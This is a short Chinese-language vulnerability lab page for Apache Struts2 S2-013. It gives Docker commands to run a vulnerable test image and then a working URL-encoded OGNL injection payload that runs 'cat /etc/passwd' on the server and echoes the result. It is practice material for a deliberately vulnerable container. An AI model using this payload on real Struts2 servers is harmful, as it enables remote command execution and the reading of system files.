漏洞信息

参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

获取环境:

  1. 拉取镜像到本地
    $ docker pull medicean/vulapps:s_struts2_s2-013
    
  2. 启动环境
    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-013
    

    -p 80:8080 前面的 80 代表物理机的端口,可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/

Exp

命令执行

/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('cat /etc/passwd').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

其它

感谢 @zerokeeper 贡献